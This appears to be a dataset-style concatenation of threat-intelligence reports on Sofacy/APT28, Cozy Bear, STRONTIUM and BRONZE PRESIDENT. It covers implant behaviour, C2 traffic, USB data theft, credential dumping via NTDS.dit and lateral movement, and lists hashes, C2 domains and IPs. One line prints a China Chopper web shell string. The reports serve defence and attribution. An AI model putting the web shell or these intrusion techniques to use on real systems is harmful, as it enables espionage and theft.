This recurring , blindingly-fast Sofacy attack attracted our attention as neither sample was delivered through a zero-day vulnerability — instead , they appeared to be downloaded and installed by another malware .
This separate malware was installed by an unknown attack as “ AppData\Local\Microsoft\Windows\msdeltemp.dll ” ( md5: CE8B99DF8642C065B6AF43FDE1F786A3 ) .
The top level malware , CE8B99DF8642C065B6AF43FDE1F786A3 ( named by its authors “ msdeltemp.dll ” according to internal strings , and compiled July 28th , 2015 ) is a rare type of the Sofacy AZZY implant .
It has been modified to drop a separate C&C helper , ( md5: 8C4D896957C36EC4ABEB07B2802268B9 ) as “ tf394kv.dll “ .
The dropped “ tf394kv.dll ” file is an external C&C communications library , compiled on July 24th , 2015 and used by the main backdoor for all Internet-based communications .
This code modification marks an unusual departure from the typical AZZY backdoors , with its C&C communication functions moved to an external DLL file .
In the past , the Sofacy developers modified earlier AZZY backdoors to use a C&C server encoded in the registry , instead of storing it in the malware itself , so this code modularisation follows the same line of thinking .
In addition to the new AZZY backdoors with side-DLL for C&C , we observed a new set of data-theft modules deployed against victims by the Sofacy group .
Among the most popular modern defense mechanisms against APTs are air-gaps — isolated network segments without Internet access , where sensitive data is stored .
In the past , we ’ve seen groups such as Equation and Flame use malware to steal data from air-gapped networks .
The Sofacy group uses such tools as well .
The first versions of these new USB stealer modules appeared around February 2015 and the latest appear to have been compiled in May 2015 .
Older versions of these USBSTEALER modules were previously described by our colleagues from ESET .
One example of the new Sofacy USBSTEALER modules is 8b238931a7f64fddcad3057a96855f6c , which is named internally as msdetltemp.dll .
This data theft module appears to have been compiled in May 2015 and is designed to watch removable drives and collect files from them , depending on a set of rules defined by the attackers .
The stolen data is copied into a hidden directory as “ %MYPICTURES%\%volume serial number% “ , from where it can be exfiltrated by the attackers using one of the AZZY implants .
More details on the new USB stealers are available in the section on technical analysis .
Over the last year , the Sofacy group has increased its activity almost tenfold when compared to previous years , becoming one of the most prolific , agile and dynamic threat actors in the arena .
This activity spiked in July 2015 , when the group dropped two completely new exploits , an Office and Java zero-day .
At the beginning of August , Sofacy began a new wave of attacks , focusing on defense-related targets .
As of November 2015 , this wave of attacks is ongoing .
The attackers deploy a rare modification of the AZZY backdoor , which is used for the initial reconnaissance .
Once a foothold is established , they try to upload more backdoors , USB stealers as well as other hacking tools such as “ Mimikatz ” for lateral movement .
Two recurring characteristics of the Sofacy group that we keep seeing in its attacks are speed and the use of multi-backdoor packages for extreme resilience .
In the past , the group used droppers that installed both the SPLM and AZZY backdoors on the same machine .
If one of them was detected , the other one provided the attacker with continued access .
Internal name : DWN_DLL_MAIN.dll File format : PE32 DLL MD5: ce8b99df8642c065b6af43fde1f786a3 Linker version : 11.0 , Microsoft Visual Studio Linker timestamp : 2015.07.28 13:05:20 ( GMT ) .
The library starts its main worker thread from the DllMain function .
Most of the strings inside the module are encrypted with a homebrew XOR-based algorithm .
In addition to that , API function names are reversed , presumably to avoid detection in memory .
Once started , the code in the main thread resolves the basic API functions it needs and loads an additional library from the following location : “ %TEMP%\tf394kv.dll ” .
If this file is not present , it is recreated from a hardcoded encrypted array inside the body of the DLL .
Next , the module enters an infinite loop .
Every five minutes it collects basic system information and sends it to the C2 server .
The main thread also spawns a separate thread for receiving new commands from the C2 servers .
Every 10 minutes , it sends a new request to the server .
The server is expected to send back executable code and one of the following commands :Write a new file “ %LOCAL_APPDATA%\dllhost.exe ” or “ %TEMP%\dllhost.exe ” and execute it , then delete the file , Write a new file “ %LOCAL_APPDATA%\sechost.dll ” or “ %TEMP%\sechost.dll ” and call its first exported function using “ rundll32.exe ” or Windows API , then delete the file , Run shellcode provided by the server in a new thread While processing the commands , the backdoor logs all errors and execution results .
The module also reads the contents of the file “ %APPDATA%\chkdbg.log ” and appends it to the results .
It then sends the aggregated log back to the C2 server .
The module aborts the thread receiving C2 command after it fails to correctly execute commands more than six times in a row , i.e. if file or process creation fails .
The export called “ k ” is a wrapper for the “ LoadLibraryA ” API function .
The export called “ SendDataToServer_2 ” does exactly what the name means : it encrypts all collected data , encodes it using Base64 encoding and calls its additional library to send the data to the C2 server .
The names of the C2 servers are hardcoded .
The two C&C ’s hardcoded in the configuration block of the main binary are :intelnetservice.com intelsupport.net The export called “ Applicate ” runs a standard Windows application message loop until a “ WM_ENDSESSION ” message is received .
It then terminates the main thread .
Internal name : snd.dll File format : PE32 DLL MD5: 8c4d896957c36ec4abeb07b2802268b9 Linker version : 11.0 , Microsoft Visual Studio Linker timestamp : 2015.07.24 12:07:27 ( GMT ) Exported functions :10001580: Init 10001620: InternetExchange 10001650: SendData This external library implements a simple Wininet-based transport for the main module .
The strings inside the binary are encrypted using 3DES and XOR and reversed .
The DllMain function initializes the library and resolves all required Windows API functions .
The “ Init ” export establishes connection to port 80 of a C2 server using Wininet API .
The user agent string employed is “ MSIE 8.0 ” .
The “ SendData ” export sends a HTTP POST request using a hardcoded URI “ /store/ “ .
The reply , if its length is not equal to six and its contents do not contain “ OK ” is returned back to the caller .
The “ InternetExchange ” export closes the established connection and frees associated handles .
Sofacy AZZY 4.3 dropper analysis File format : PE32 EXE File size : 142,336 bytes MD5: c3ae4a37094ecfe95c2badecf40bf5bb Linker version : 11.0 , Microsoft Visual Studio Linker timestamp : 2015.02.10 10:01:59 ( GMT ) Most of the strings and data in the file are encrypted using 3DES and XOR .
The code makes use of the Windows Crypto API for 3DES and the decryption key is stored as a standard Windows PUBLICKEYSTRUC structure .
First , it creates a new directory : “ %LOCAL_APPDATA%\Microsoft\Windows ” .
If the directory creation fails it tries to install into “ %TEMP% ” directory instead .
Next it writes a hardcoded binary from its body to “ msdeltemp.dll ” into the target directory .
If the file exists it then moves it to “ __tmpdt.tmp ” in the same directory and continues the installation .
Sets file creation timestamp to that of “ %SYSTEM%\sfc.dll ” .
Finally , the program removes itself by starting the following command : “ cmd /c DEL %path to self% “ The MD5 of the dropped file is f6f88caf49a3e32174387cacfa144a89 .
Dropper payload – downloader DLL Internal name : msdetltemp.dll File format : PE32 DLL File size : 73 728 bytes MD5: f6f88caf49a3e32174387cacfa144a89 Linker version : 11.0 , Microsoft Visual Studio Linker timestamp : 2015.02.10 07:20:02 ( GMT ) Exported functions :10002B55: Applicate Most of the strings inside the binary are encrypted using a homebrew XOR-based algorithm and reversed .
The library is an older version of the “ DWN_DLL_MAIN.dll ” ( md5: ce8b99df8642c065b6af43fde1f786a3 ) .
The DllMain function is identical and starts the main thread ; the “ Applicate ” function is identical to the one in the newer library .
This version of the module does not rely on an external transport DLL for communicating with its C2 servers ; instead it directly uses Wininet API functions .
The module contains the following hardcoded C2 server names :drivres-update.info softupdates.info The module uses a hardcoded URL ( “ /check/ “ ) for sending HTTP POST requests to its C2 servers .
Sofacy APT hits high profile targets with updated toolset .
File collection module ( “ USB Stealer ” ) Internal name : msdetltemp.dll ( from resources ) File size : 50,176 bytes File format : PE32 EXE MD5: 0369620eb139c3875a62e36bb7abdae8 Linker version : 10.0 , Microsoft Visual Studio Linker timestamp : 2015.02.09 11:48:01 ( GMT ) Most of the strings inside the binary are encrypted using 3DES and XOR and reversed .
The program creates the mutex “ mtx ” and an event named “ WerTyQ34C ” .
Upon start , it creates a window with the class name “ Hello ” and title “ Program ” , subscribes for device arrival notifications for that window and enters a standard Windows message processing loop .
The message processing function waits for the WM_DEVICECHANGE event and starts a new thread on its arrival .
The module inspects every new disk volume attached to the system .
For every disk it creates a “ stash ” directory in “ %root stash directory location%\%volume serial number in hex% ” with attributes FILE_ATTRIBUTE_HIDDEN and FILE_ATTRIBUTE_SYSTEM .
The root stash directory location may be read from the configuration file or set to the default location which is “ %MYPICTURES% ” .
Then , it traverses the filesystem of the volume looking for files .
Depending on the settings read from the configuration file , the scope may be narrowed to files with particular extensions and/or files created after a specified date .
It is worth noting that if the source file location contains the string “ System Volume Information\S-1-5-21-1315235578-283289242\ ” , then the file is deleted after copying to the “ stash ” directory .
There are known related samples that are able to create such directories on removable drives , i.e .
 the sample with md5: 8cb08140ddb00ac373d29d37657a03cc .
The configuration file is loaded from the same directory as the module and is expected to have a name “ NvCpld.dat “ .
It is a text file that may contain the following configuration parameters :Path – location of the root “ stash ” directory Ext – search for files with one of these extensions only Date – search for files not earlier than this date Internal name : NvCpld.dll ( from export table ) , msdetltemp.dll ( from resources ) , IGFSRVC.dll ( from resources ) File format : PE32 DLL File size : 76,288 bytes MD5s : 8b238931a7f64fddcad3057a96855f6c , ce151285e8f0e7b2b90162ba171a4b90 Linker version : 11.0 , Microsoft Visual Studio Linker timestamps : 2015.05.29 11:20:32 ( GMT ) , 2006.11.25 04:39:15 ( GMT ) Exported functions :10002500: NvMswt 10002860: NvReg 10002880: NvStart 10002A80: NvStop This library is a newer version of the file collection module ( md5: 0369620eb139c3875a62e36bb7abdae8 ) wrapped in a DLL file .
There are two known variants of this module ; they only differ in timestamp values and version information in the resource section .
The DllMain function only decrypts the data structures and initializes Windows API pointers .
The function “ NvMswt ” is a wrapper for the API function MsgWaitForMultipleObjects .
The function “ NvReg ” is a wrapper for the API function RegisterClassW .
The function “ NvStart ” is similar to the main function of the older module ; it creates a window and enters the message loop waiting for device arrival notifications .
The only difference introduced is that an event named “ WerTyQ34C ” can be signalled by the function “ NvStop ” to terminate the message loop and stop processing .
How they did it : GRU hackersUS elections .
In a press briefing just two weeks ago , Deputy Attorney General Rod Rosenstein announced that the grand jury assembled by Special Counsel Robert Mueller had returned an indictment against 12 officers of Russia 's Main Intelligence Directorate of the Russian General Staff ( better known as Glavnoye razvedyvatel'noye upravleniye , or GRU ) .
The indictment was for conducting " active cyber operations with the intent of interfering in the 2016 presidential election .
 " The espionage operation was run by Unit 26165 , commanded by GRU Officer Viktor Borisovich Netykshko .
Unit 26165 appears to be the organization behind at least part of the "threat group" of tools , techniques , and procedures known as " Fancy Bear , " " Sofacy , " " APT28 , " and " Sednit " .
Within the unit , two divisions were involved in the breaches : one specializing in operations and the second in development and maintenance of hacking tools and infrastructure .
The operations division , supervised by Major Boris Alekseyevich Antonov , specialized in targeting organizations of intelligence interest through spear-phishing campaigns and the exploitation of stolen credentials .
Antonov's group included Ivan Sergeyevich Yermakov and Senior Lieutenant Aleksey Viktorovich Lukashev , according to the indictment , and they were responsible for targeting the email accounts that were exposed on the " DCLeaks " site prior to the election operations .
The second division , overseen by Lieutenant Colonel Sergey Aleksandrovich Morgachev , managed the development and maintenance of malware and hacking tools used by Unit 26165 , including the X-Agent " implant " .
X-Agent is a signature tool of Fancy Bear operations—a cross-platform backdoor toolset with variants for Windows , MacOS , Android , and iOS .
The Windows and MacOS versions of X-Agent are capable of recording keystrokes , taking screenshots , and exfiltrating files from infected systems back to a command and control server .
Lieutenant Captain Nikolay Kozacheck ( who used the hacker monikers " kazak " and " blablabla1234465 " ) was the primary developer and maintainer of X-Agent , according to the indictment , and he was assisted by another officer , Pavel Yershov , in preparing it for deployment .
Once X-Agent was implanted on the DNC and DCCC networks , Second Lieutenant Artem Malyshev ( AKA " djangomagicdev " and " realblatr " ) monitored the implants through the command and control network configured for the task .
The information operations unit , Unit 74455 , was commanded by Colonel Aleksandr Vladimirovich Osadchuk .
Unit 74455 's members would be responsible for the distribution of some of the stolen data from the breaches through the " DCLeaks " and " Guccifer 2.0 " websites .
This group famously also reached out to WikiLeaks ( referred to as " Organization 1 " in the indictment ) to amplify their information operation , and they promoted the leaks to journalists through GRU -controlled email and social media accounts .
Within Unit 74455 , Officer Aleksy Potemkin—a department supervisor—oversaw information operations infrastructure .
His group configured the DCLeaks and Guccifer 2.0 blogs and social media accounts that would later be used to spread data stolen from the DNC , DCCC , and Clinton campaigns .
Bears in the Midst : Intrusion Into the Democratic National Committee .
There is rarely a dull day at CrowdStrike where we are not detecting or responding to a breach at a company somewhere around the globe .
In all of these cases , we operate under strict confidentiality rules with our customers and cannot reveal publicly any information about these attacks .
But on rare occasions , a customer decides to go public with information about their incident and give us permission to share our knowledge of the adversary tradecraft with the broader community and help protect even those who do not happen to be our customers .
This story is about one of those cases .
CrowdStrike Services Inc. , our Incident Response group , was called by the Democratic National Committee ( DNC ) , the formal governing body for the US Democratic Party , to respond to a suspected breach .
We deployed our IR team and technology and immediately identified two sophisticated adversaries on the network – COZY BEAR and FANCY BEAR .
We ’ve had lots of experience with both of these actors attempting to target our customers in the past and know them well .
In fact , our team considers them some of the best threat actors out of all the numerous nation-state , criminal and hacktivist/terrorist groups we encounter on a daily basis .
Their tradecraft is superb , operational security second to none and the extensive usage of ‘ living-off-the-land ’ techniques enables them to easily bypass many security solutions they encounter .
In particular , we identified advanced methods consistent with nation-state level capabilities including deliberate targeting and ‘ access management ’ tradecraft – both groups were constantly going back into the environment to change out their implants , modify persistent methods , move to new Command & Control channels and perform other tasks to try to stay ahead of being detected .
Both adversaries engage in extensive political and economic espionage for the benefit of the government of the Russian Federation and are believed to be closely linked to the Russian government ’s powerful and highly capable intelligence services .
COZY BEAR ( also referred to in some industry reports as CozyDuke or APT 29 ) is the adversary group that last year successfully infiltrated the unclassified networks of the White House , State Department , and US Joint Chiefs of Staff .
In addition to the US government , they have targeted organizations across the Defense , Energy , Extractive , Financial , Insurance , Legal , Manufacturing Media , Think Tanks , Pharmaceutical , Research and Technology industries , along with Universities .
Victims have also been observed in Western Europe , Brazil , China , Japan , Mexico , New Zealand , South Korea , Turkey and Central Asian countries .
COZY BEAR ’s preferred intrusion method is a broadly targeted spearphish campaign that typically includes web links to a malicious dropper .
Once executed on the machine , the code will deliver one of a number of sophisticated Remote Access Tools ( RATs ) , including AdobeARM , ATI-Agent , and MiniDionis .
On many occasions , both the dropper and the payload will contain a range of techniques to ensure the sample is not being analyzed on a virtual machine , using a debugger , or located within a sandbox .
They have extensive checks for the various security software that is installed on the system and their specific configurations .
When specific versions are discovered that may cause issues for the RAT , it promptly exits .
These actions demonstrate a well-resourced adversary with a thorough implant-testing regime that is highly attuned to slight configuration issues that may result in their detection , and which would cause them to deploy a different tool instead .
The implants are highly configurable via encrypted configuration files , which allow the adversary to customize various components , including C2 servers , the list of initial tasks to carry out , persistence mechanisms , encryption keys and others .
An HTTP protocol with encrypted payload is used for the Command & Control communication .
FANCY BEAR ( also known as Sofacy or APT 28 ) is a separate Russian-based threat actor , which has been active since mid 2000s , and has been responsible for targeted intrusion campaigns against the Aerospace , Defense , Energy , Government and Media sectors .
Their victims have been identified in the United States , Western Europe , Brazil , Canada , China , Georgia , Iran , Japan , Malaysia and South Korea .
Extensive targeting of defense ministries and other military victims has been observed , the profile of which closely mirrors the strategic interests of the Russian government , and may indicate affiliation with GRU , Russia ’s premier military intelligence service .
This adversary has a wide range of implants at their disposal , which have been developed over the course of many years and include Sofacy , X-Agent , X-Tunnel , WinIDS , Foozer and DownRage droppers , and even malware for Linux , OSX , IOS , Android and Windows Phones .
This group is known for its technique of registering domains that closely resemble domains of legitimate organizations they plan to target .
Afterwards , they establish phishing sites on these domains that spoof the look and feel of the victim ’s web-based email services in order to steal their credentials .
FANCY BEAR has also been linked publicly to intrusions into the German Bundestag and France ’s TV5 Monde TV station in April 2015 .
At DNC , COZY BEAR intrusion has been identified going back to summer of 2015 , while FANCY BEAR separately breached the network in April 2016 .
We have identified no collaboration between the two actors , or even an awareness of one by the other .
Instead , we observed the two Russian espionage groups compromise the same systems and engage separately in the theft of identical credentials .
While you would virtually never see Western intelligence agencies going after the same target without de-confliction for fear of compromising each other ’s operations , in Russia this is not an uncommon scenario .
 “ Putin ’s Hydra : Inside Russia ’s Intelligence Services ” , a recent paper from European Council on Foreign Relations , does an excellent job outlining the highly adversarial relationship between Russia ’s main intelligence services – FSB , the primary domestic intelligence agency but one with also significant external collection and ‘ active measures ’remit , SVR , the primary foreign intelligence agency , and the aforementioned GRU .
Not only do they have overlapping areas of responsibility , but also rarely share intelligence and even occasionally steal sources from each other and compromise operations .
Thus , it is not surprising to see them engage in intrusions against the same victim , even when it may be a waste of resources and lead to the discovery and potential compromise of mutual operations .
The COZY BEAR intrusion relied primarily on the SeaDaddy implant developed in Python and compiled with py2exe and another Powershell backdoor with persistence accomplished via Windows Management Instrumentation ( WMI ) system , which allowed the adversary to launch malicious code automatically after a specified period of system uptime or on a specific schedule .
The Powershell backdoor is ingenious in its simplicity and power .
This one-line powershell command , stored only in WMI database , establishes an encrypted connection to C2 and downloads additional powershell modules from it , executing them in memory .
In theory , the additional modules can do virtually anything on the victim system .
The encryption keys in the script were different on every system .
Powershell version of credential theft tool MimiKatz was also used by the actors to facilitate credential acquisition for lateral movement purposes .
FANCY BEAR adversary used different tradecraft , deploying X-Agent malware with capabilities to do remote command execution , file transmission and keylogging .
It was executed via rundll32 commands such as : rundll32.exe “ C:\Windows\twain_64.dll ” .
In addition , FANCY BEAR ’s X-Tunnel network tunneling tool , which facilitates connections to NAT-ed environments , was used to also execute remote commands .
Both tools were deployed via RemCOM , an open-source replacement for PsExec available from GitHub .
Intelligence collection directed by nation state actors against US political targets provides invaluable insight into the requirements directed upon those actors .
Regardless of the agency or unit tasked with this collection , the upcoming US election , and the associated candidates and parties are of critical interest to both hostile and friendly nation states .
The 2016 presidential election has the world ’s attention , and leaders of other states are anxiously watching and planning for possible outcomes .
Corporate IoT – a path to intrusion .
Several sources estimate that by the year 2020 some 50 billion IoT devices will be deployed worldwide .
IoT devices are purposefully designed to connect to a network and many are simply connected to the internet with little management or oversight.Some IoT devices may even communicate basic telemetry back to the device manufacturer or have means to receive software updates .
In 2016 , the Mirai botnet was discovered by the malware research group MalwareMustDie .
The botnet initially consisted of IP cameras and basic home routers , two types of IoT devices commonly found in the household .
As more variants of Mirai emerged , so did the list IoT devices it was targeting .
The source code for the malware powering this botnet was eventually leaked online .
In 2018 , hundreds of thousands of home and small business networking and storage devices were compromised and loaded with the so-called “ VPN Filter ” malware .
The FBI has publicly attributed this activity to a nation-state actor and took subsequent actions to disrupt this botnet , although the devices would remain vulnerable to re-infection unless proper firmware or security controls were put in place by the user .
In April , security researchers in the Microsoft Threat Intelligence Center discovered infrastructure of a known adversary communicating to several external devices .
Further research uncovered attempts by the actor to compromise popular IoT devices ( a VOIP phone , an office printer , and a video decoder ) across multiple customer locations .
The investigation uncovered that an actor had used these devices to gain initial access to corporate networks .
In two of the cases , the passwords for the devices were deployed without changing the default manufacturer ’s passwords and in the third instance the latest security update had not been applied to the device .
These devices became points of ingress from which the actor established a presence on the network and continued looking for further access .
Once the actor had successfully established access to the network , a simple network scan to look for other insecure devices allowed them to discover and move across the network in search of higher-privileged accounts that would grant access to higher-value data .
After gaining access to each of the IoT devices , the actor ran tcpdump to sniff network traffic on local subnets .
They were also seen enumerating administrative groups to attempt further exploitation .
As the actor moved from one device to another , they would drop a simple shell script to establish persistence on the network which allowed extended access to continue hunting .
Analysis of network traffic showed the devices were also communicating with an external command and control ( C2 ) server .
The following IP addresses are believed to have been used by the actor for command and control ( C2 ) during these intrusions :167.114.153.55 94.237.37.28 82.118.242.171 31.220.61.251 128.199.199.187 .
We attribute the attacks on these customers using three popular IoT devices to an activity group that Microsoft refers to as STRONTIUM .
Since we identified these attacks in the early stages , we have not been able to conclusively determine what STRONTIUM ’s ultimate objectives were in these intrusions .
Over the last twelve months , Microsoft has delivered nearly 1400 nation-state notifications to those who have been targeted or compromised by STRONTIUM .
One in five notifications of STRONTIUM activity were tied to attacks against non-governmental organizations , think tanks , or politically affiliated organizations around the world .
The remaining 80% of STRONTIUM attacks have largely targeted organizations in the following sectors : government , IT , military , defense , medicine , education , and engineering .
We have also observed and notified STRONTIUM attacks against Olympic organizing committees , anti-doping agencies , and the hospitality industry .
The “ VPN Filter ” malware has also been attributed to STRONTIUM by the FBI .
Below are a series of indicators Microsoft has observed as active during the STRONTIUM activity discussed in this article .
BRONZE PRESIDENT Targets NGOs .
The activities of some non-governmental organizations ( NGOs ) challenge governments on politically sensitive issues such as social , humanitarian , and environmental policies .
As a result , these organizations are often exposed to increased government-directed threats aimed at monitoring their activities , discrediting their work , or stealing their intellectual property .
BRONZE PRESIDENT is a likely People's Republic of China ( PRC )-based targeted cyberespionage group that uses both proprietary and publicly available tools to target NGO networks .
Secureworks Counter Threat Unit ( CTU ) researchers have observed BRONZE PRESIDENT activity since mid-2018 but identified artifacts suggesting that the threat actors may have been conducting network intrusions as far back as 2014 .
The BRONZE PRESIDENT cyberespionage group targets NGOs , as well as political and law enforcement organizations in countries in South and East Asia .
The threat group appears to have developed its own remote access tools that it uses alongside publicly available remote access and post-compromise toolsets .
After compromising a network , the threat actors elevate their privileges and install malware on a large proportion of systems .
The group runs custom batch scripts to collect specific file types and takes proactive steps to minimize detection of its activities .
Analysis of a threat group's targeting , origin , and competencies can determine which organizations could be at risk .
This information can help organizations make strategic defensive decisions in relation to the BRONZE PRESIDENT threat group .
CTU researchers have observed BRONZE PRESIDENT targeting multiple NGOs .
The threat actors steal data from compromised systems over a long period of time , which likely indicates a long-term objective of monitoring the target's network .
BRONZE PRESIDENT uses custom batch scripts to collect either specific file types ( including files with .pptx , .xlsx , .pdf extensions ) or all files within a specific location .
CTU researchers also observed evidence that the threat actors collect credentials from high-privilege network accounts and reputationally sensitive accounts , such as social media and webmail accounts .
Additionally , CTU researchers have observed evidence of BRONZE PRESIDENT targeting political and law enforcement organizations in countries adjacent to the PRC , including Mongolia and India .
Some of the group's phishing lures suggest an interest in national security , humanitarian , and law enforcement organizations in the East , South , and Southeast Asia ( see Figure 1 ) .
These examples reveal BRONZE PRESIDENT 's likely intent to conduct political espionage in other countries in addition to targeting NGOs .
It is highly likely that BRONZE PRESIDENT is based in the PRC due to the following observations :The NGOs targeted by BRONZE PRESIDENT conduct research on issues relevant to the PRC .
Strong evidence links BRONZE PRESIDENT 's infrastructure to entities within the PRC .
There are connections between a subset of the group's operational infrastructure and PRC-based Internet service providers .
Tools such as PlugX have historically been leveraged by threat groups operating in the PRC .
It is likely that BRONZE PRESIDENT is sponsored or at least tolerated by the PRC government .
The threat group's systemic long-term targeting of NGO and political networks does not align with patriotic or criminal threat groups .
BRONZE PRESIDENT has deployed a variety of remote access tools .
The use of tools not previously observed by CTU researchers suggests that the group could have access to malware development capabilities .
BRONZE PRESIDENT also uses widely available or modified open-source tools , which could be a strategic effort to reduce the risk of attribution or to minimize the need for tool development resources .
Following a network compromise , the threat actors typically delete their tools and processes .
However , the group is content leaving some malware on the network , likely to provide a contingency if other access channels are removed .
When the group's activities were detected in one incident , it had elevated privileges and had maintained access to the targeted environment for several months .
This finding indicates the group's effectiveness at maintaining long-term access to a targeted network .
CTU researchers and Secureworks incident responders have observed BRONZE PRESIDENT using the following tools , along with several custom batch scripts for locating and archiving specific file types :Cobalt Strike — This popular and commercially available penetration tool gains shell access to an infected system .
It allows threat actors to execute additional tools and perform post-intrusion actions on compromised systems .
Cobalt Strike appears to be one of BRONZE PRESIDENT 's preferred remote access tools .
During one intrusion , the threat actors installed it on over 70% of accessible hosts .
The group's Cobalt Strike installation typically uses a payload named svchost.exe in an attempt to disguise Cobalt Strike activity as the legitimate Windows svchost.exe executable .
PlugX — This remote access Trojan ( RAT ) is popular among PRC-based targeted threat groups .
Its functionality includes uploading and downloading files , and it has configurable network protocols .
BRONZE PRESIDENT installs PlugX using DLL side-loading .
In June and August 2019 , BRONZE PRESIDENT delivered PlugX via government and law enforcement-themed phishing lures .
ORat — CTU researchers have only observed this basic loader tool in the context of BRONZE PRESIDENT intrusions .
ORat is the name assigned by the malware author , as denoted by the program debug database string in the analyzed sample : D:\vswork\Plugin\ORat\build\Release\ORatServer\Loader.pdb .
The tool uses the Windows Management Instrumentation ( WMI ) event consumer for persistence by installing a script to the system's WMI registry .
Messages sent from ORat to its command and control ( C2 ) server start with the string "VIEWS0018x" .
If the data received from the C2 server starts with the same string , then the remainder of the payload is decompressed using ORat 's "deflate" algorithm and called as a function .
ORat acts as a flexible loader tool rather than a fully featured remote access tool .
RCSession — This basic RAT is installed via DLL side-loading , and CTU researchers observed BRONZE PRESIDENT installing it on multiple hosts during intrusions .
RCSession was extracted from a file called English.rtf and launched via a hollowed svchost.exe process .
RCSession connects to its C2 server via a custom protocol , can remotely execute commands , and can launch additional tools .
CTU researchers have no evidence of other threat actors using RCSession or of wide proliferation of the tool , suggesting it may be exclusively used by BRONZE PRESIDENT .
Nbtscan — This publicly available command-line tool scans systems for NetBIOS name information ( see Figure 2 ) .
In an example observed by CTU researchers , the Nbtscan executable was named Adobe.exe and was installed in several working directories on compromised hosts , including : C:\Recovery\ .
Nmap — BRONZE PRESIDENT used this freely available network scanning tool from the C:\PerfLogs\ folder .
Wmiexec — This publicly available tool uses WMI to create SYSTEM-level shells on remote hosts .
While analyzing hosts compromised by BRONZE PRESIDENT , CTU researchers identified other malware artifacts .
Although there was no evidence of the group using the malware , the threat actors may have leveraged its access or capabilities during earlier phases of the intrusions .
The BRONZE PRESIDENT intrusions observed by CTU researchers appear to have taken place over several months or years .
China Chopper web shell files named error404.aspx included the "eval (Request.Item["|"] ,"unsafe" ) ; " string .
To successfully interact with the web shell , a threat actor sent HTTP requests that included the "|" parameter .
The web shell files appeared to be installed during the timeframe that BRONZE PRESIDENT was active on the system .
CTU researchers identified a variety of post-compromise tools stored under %AppData% ( e.g. , \AppData\Roaming\Temp ) on several compromised systems .
The widespread proliferation and use of the following tools suggest that the group likely has the knowledge and capability to use them as part of its operations :Powerview.ps1 — This PowerShell-based module for network reconnaissance is part of the PowerSploit penetration testing framework .
PVE Find AD User — This command-line tool identifies login locations of Active Directory ( AD ) users .
AdFind — This command-line tool conducts AD queries .
NetSess — This publicly available tool enumerates NetBIOS sessions .
Netview — This tool enumerates networks .
TeamViewer — This remote control and desktop-sharing tool has applications for legitimate and malicious system users .
Its installation in a temporary directory alongside network reconnaissance and enumeration tools likely indicates malicious intent .
At the time of detection , observed BRONZE PRESIDENT incidents had likely been ongoing for several months or even years .
As a result , CTU researchers were unable to ascertain the initial access vector .
In October 2019 , third-party researchers described a phishing campaign that used C2 infrastructure that CTU researchers attribute to BRONZE PRESIDENT .
This connection suggests that the group uses phishing emails with ZIP attachments that contain LNK files as an initial access vector .
During one intrusion , the threat actors gained administrator access to all systems within a targeted business unit and installed their remote access tools on 80% of the hosts .
The group installed multiple tools within the environment , including three different tools on a strategically important server , likely to provide contingency access options .
During multiple intrusions , the threat actors employed various tools and techniques to understand the network environments .
For example , they used Nmap to scan various internal IP address ranges and SMB ports .
They also relied on Nbtscan , net user , and ping commands to obtain insights and identify opportunities for lateral movement .
BRONZE PRESIDENT regularly leverages Wmiexec to move laterally .
During one intrusion , the threat actors extensively used this tool to execute WMI commands on remote hosts in the environment .
The threat actors retrieved the NTDS.dit file from the volume shadow copy .
NTDS.dit contains Active Directory data , including password hashes for all users on a domain .
Extracting hashes from the NTDS.dit file requires access to the SYSTEM file in the system registry .
The threat actors saved both the SYSTEM file ( system.hive ) and NTDS.dit in the compromised host's c:\windows\temp directory .
These files were likely exfiltrated and exploited offline to retrieve user password hashes , which could then be cracked or used to perform pass-the-hash attacks .
BRONZE PRESIDENT 's C2 techniques are dictated by its remote access tools .
The group's primary and likely proprietary RCSession RAT communicates with a hard-coded C2 server using a custom protocol over TCP port 443 .
After connecting to its C2 server , RCSession checks in with an encrypted beacon and then awaits instruction .
The ORat tool , which appears to be used less frequently by the group , communicates over TCP port 80 using a raw socket protocol ( not HTTP ) .
The Cobalt Strike tool has malleable C2 profiles .
During one intrusion , it connected to multiple C2 domains on TCP port 80 , including mail .
 svrchost .
 com , using the following request .
Subsequent Cobalt Strike C2 servers included subdomains of svchosts .
 com , svrchost .
 com , and strust .
 club .
Some BRONZE PRESIDENT C2 domains analyzed by CTU researchers were hosted on infrastructure owned by Dutch VPS provider Host Sailor , Hong Kong-based New World Telecoms , and Malaysia-based Shinjiru Technology ( see Figure 7 ) .
The threat actors have used discrete infrastructure clusters that share matching hosting and registration characteristics .
The pattern of infrastructure hosting suggests that the group parks its domains when not in use , an operational security technique that limits exposure of the group's overall hosting infrastructure .
Some of BRONZE PRESIDENT 's malware has persistence capabilities .
For example , ORat uses a WMI event consumer to maintain its presence on a compromised host .
The group also creates and maintains scheduled tasks to achieve this purpose .
Figure 8 shows a Sysdriver scheduled task that periodically executes a Cobalt Strike payload .
The threat actors tend to install malware on a large proportion of hosts during their intrusions .
However , the group exercises restraint and defensive evasion tactics to minimize opportunities for network defenders to detect or investigate its activities .
For example , the threat actors deleted volume shadow copies after using them for NTDS.dit retrieval .
BRONZE PRESIDENT targets specific data types .
The threat actors use custom batch scripts to create a list of files with predefined criteria and collate the identified files into a .rar archive ( see Figure 9 ) .
CTU researchers have observed BRONZE PRESIDENT batch scripts named doc.bat , xls.bat , xlsx.bat , ppt.bat , pptx.bat , pdf.bat , and txt.bat .
The group also uses the all.bat batch script to collect all files stored on a specific user's desktop .
CTU researchers observed RCSession and Cobalt Strike on systems that BRONZE PRESIDENT targeted for data theft .
Either of these tools could have been used to exfiltrate the archived data .
BRONZE PRESIDENT has demonstrated intent to steal data from organizations using tools such as Cobalt Strike , PlugX , ORat , and RCSession .
The concurrent use of so many tools during a single intrusion suggests that the group could include threat actors with distinct tactics , roles , and tool preferences .
It is likely that BRONZE PRESIDENT has additional unobserved operational tools and capabilities .
CTU researchers recommend that organizations apply controls to mitigate common intrusion techniques and behaviors along with controls that address the tools and techniques discussed in this analysis .
PlugX C2 server : ipsoftwarelabs.com .
RCSession C2 server : toshibadrive.com .
ORat and Cobalt Strike C2 server : strust.club .
Cobalt Strike C2 server : svchosts.com , svrhosts.com .
Cobalt Strike download location : 116.93.154.250 .
ORat malware sample : a0758535cf8eb689782b95d3791d23d5 , 774a9c3ff01a3e734b7bec0c312120126295fad9 , 2e8762c984468ee309dad30a6c5f6d3308676ac721357da442a8a5b9d9d65d82 .
